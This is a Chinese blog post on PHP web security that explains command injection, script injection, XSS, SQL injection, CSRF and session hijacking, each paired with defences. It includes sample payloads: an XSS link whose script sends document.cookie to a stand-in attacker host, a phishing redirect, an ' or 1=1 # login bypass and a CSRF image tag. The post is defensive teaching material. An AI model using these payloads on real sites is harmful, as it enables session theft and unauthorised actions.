美文网首页
MS-PHP-安全

MS-PHP-安全

作者: Captain_tu | 来源:发表于2019-01-07 15:58 被阅读13次
  1. 命令注入攻击:

    不要相信客户端输入

       function A(){}
       function B(){}
       $myFunc = $_GET["myFunc"];
       echo $myFunc();
       // 本意通过 http://localhost?myFunc=A来动态调用A方法或者B方法,
       // 但是,假如调用为 http://localhost?myFunc=phpinfo,及暴露了服务器信息
    

    解决方法:
    1. 尽量不要执行外部命令
    2. 使用自定义函数或者函数库来代替外部命令(如通过系统函数如system, exec, shell_exec执行的外部命令,把exec("ls -al")获取目录信息,改为通过opendir, readdir方式获取)
    3. 开启安全模式。在php.ini中,开启safe_mode。
    开启后,会受到一定的影响,如:
    * 尝试访问文件系统的函数将会被限制,运行服务器的用户id,如果想要尝试操作某个文件,必须要用户该文件的读取或者写入的访问权限。(如ckdir, fopen, require, include, rename, copy, mkdir, touch, move_uploaded_file等)
    * 一些扩展函数也会受到限制,不能在程序里面直接加载扩展,只能到php.ini里加载。
    * php如果需要执行操作系统的程序时,必须在safe_mode_exec_dir中指定程序的路径。

  2. 客户端脚本植入

    植入步骤

    客户端脚本植入
    image.png
    可以插入跳转钓鱼网站的代码(window.location.href="http://www.yjshare.cn"),或者无限alert的弹窗,或者其他的js代码进行攻击

    防范办法:
    使用htmlspecialchars将特殊代码转为html编码

  3. 跨网站脚本攻击(XSS攻击)

    XSS攻击,意为跨网站脚本攻击,主要被攻击者用来读取网站用户的cookie或者其他用户数据,一旦攻击者得到这些数据,就能伪装成此用户来登陆网站,获得此用户的权限
    攻击步骤

    XSS攻击
    比如有人发你一个链接:http://www.yjshare.cn/index.php?key=<script>window.location.href='http://www.hack.com/getcookie?key='+document.cookie</script>,你的服务器index.php执行了这个代码,把key客户端请求的key原样输出,然后浏览器执行了script代码,就会把你在这个网站的cookie信息带给攻击者的服务器。
    危害
    • 通过document.cookie盗取cookie
    • 使用js或css破坏页面正常的结构与样式
    • 流量劫持(通过访问某段具有window.location.href定位到其他页面)
    • Dos攻击:利用合理的客户端请求来占用过多的服务器资源,从而使合法用户无法得到服务器响应。
    • 利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作。
    • 利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。

    XSS防范

    • 对重要的cookie设置httpOnly, 防止客户端通过document.cookie读取cookie。服务端可以设置此字段。
    • 对用户输入数据的处理。不能对用户输入的内容都保持原样,对用户输入的数据进行字符实体编码。例如用htmlspecialchars进行html编码,或者对输入进行过滤,过滤掉类似<script>这样的关键词。
  4. SQL注入

    攻击步骤

    SQL注入步骤
    实例:
    1. 最经典的就是登陆的sql注入了,如果服务器的逻辑是这样的

       $query = "select * from user where username='$_GET[username]' and password='$_GET[password]';";
       $result = mysql_query($query) or die("");
      
    2. 当用户输入是这样的:[ login.php?username=' or 1=1 #&password= ],那么sql语句就变成了:

       $query = "select * from user where username=" or 1=1 # and password=";
      

    防范方法:

    • 对客户端参数过滤或者转义,如intval转换整数,floatval或doubleval转换浮点数,用addslashes对单引号(')、双引号(")、反斜杠()、null等字符前,加上反斜杠
  5. 跨网站请求伪造攻击(CSRF攻击)

    攻击步骤

    1. 对于一个留言板模块,假如可以插入图片,攻击者写入<img src="delete.php?id=1">
    2. 访问到这个图片的用户,看不到这个图片,但是会去访问delete.php?id=1这个地址
    3. 假如这个地址是用来删除留言,那么该用户就在不知情的情况下,调用了删除的操作

    防范方法
    防范 CSRF 要比防范其他攻击更加困难,因为 CSRF 的 HTTP 请求虽然是攻击者伪造的,但是却是由目标用户发出的,一般常见的防范方法有下面几种:

    1. 检查网页的来源(HTTP的HTTP_REFERER)
    2. 检查内置的隐藏变量(我们在表单中内置一个隐藏变量和一个 session 变量,然后检查这个隐藏变量和 session 变量是否相等, 以此来判断是否同一个网页所调用,如Laravel的csrf_token)
    3. 使用 POST,不要使用 GET
  6. 会话劫持

    会话劫持指的是攻击者用各种手段获取用户的session_id,然后利用用户的身份来登陆网站,获取用户的操作权限

相关文章

  • MS-PHP-安全

    命令注入攻击:不要相信客户端输入 function A(){} function B(){} $myF...

  • 安全?安全!安全。

    清早上班,小尚摇晃着手里的一张纸,感慨万千:四个人啊,一下子四个人,这个事故可不算小,五轮车从后边戳上他们,这伤啊...

  • 安全,安全,安全!

    早上大雾,能见度30米左右。远点一看以为后红绿灯坏了,啥都看不见,一片雾茫茫。走近一看才发现,原来是自己眼神不好,...

  • 安全,安全,行车安全

    这段时间上海这边对从事网约配送的电动车必须挂电子牌照议论纷纷。 电子牌照是电子监管,对于各类违反交规的行为拍照,然...

  • 安全,安全

    今天老公回来了,他说最近因为疫情,很多同事都休息了,只有他和一个同事坚守,好累,现在回家休息的同事大都返岗了,他终...

  • 97

    没有安全感没有安全感没有安全感没有安全感没有安全感没有安全感没有安全感没有安全感没有安全感没有安全感没有安全感没有...

  • 洗心良言,

    任何时候都要注意环境安全,卫生安全,经济安全,政治安全,心理安全,行为安全,语言安全。 要学会审时度...

  • API 安全

    什么是 API 安全 API 安全主要包括信息安全、网络安全、应用安全三个方面 信息安全 信息安全是你要保证系统所...

  • 青春期班会

    安全班会结束了,孩子们很棒,关于安全他们有太多话要说,校园安全、防溺水安全、交通安全、饮食安全、用电用火安全、防诈...

  • 最好的报答

    “安全是什么?安全是天,安全是地,安全是温暖的家,安全是感恩,安全是对亲人最好的报答。” 今年,全国安全生产月宣传...

网友评论

      本文标题:MS-PHP-安全

      本文链接:https://www.haomeiwen.com/subject/apzyrqtx.html